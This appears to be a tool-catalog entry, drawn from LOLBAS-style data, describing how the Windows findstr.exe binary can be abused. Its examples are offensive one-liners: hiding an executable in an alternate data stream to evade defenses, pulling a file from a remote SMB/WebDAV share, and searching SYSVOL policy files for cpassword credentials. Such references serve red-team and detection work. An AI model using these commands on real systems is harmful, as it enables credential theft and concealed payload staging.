windows enabled community critical v1.0.0

findstr

Write to ADS, discover, or download files with Findstr.exe Located at: C:\Windows\System32\findstr.exe; C:\Windows\SysWOW64\findstr.exe.

📋 Live Preview
findstr
findstr

Sandbox: execFile · Timeout: 30s

Capabilities

system.file.alternate-data-stream
credential.dump
network.transfer.download

Contract

Outputs

process.output

Command execution output

Side effects: filesystem_writeprocess_spawnnetwork_traffic

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networkmedium
Disk I/Olow

Examples

Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file. (Add a file to an alternate data stream to hide from defensive counter measures)

findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file. (Add a file to an alternate data stream from a webdav server to hide from defensive counter measures)

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe

Search for stored password in Group Policy files stored on SYSVOL. (Find credentials stored in cpassword attrbute)

findstr /S /I cpassword \\sysvol\policies\*.xml

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file. (Download/Copy file from webdav server)

findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}

Detection

Documentation

findstr

findstr is a Windows LOLBin. Write to ADS, discover, or download files with Findstr.exe Located at: C:\Windows\System32\findstr.exe; C:\Windows\SysWOW64\findstr.exe.

References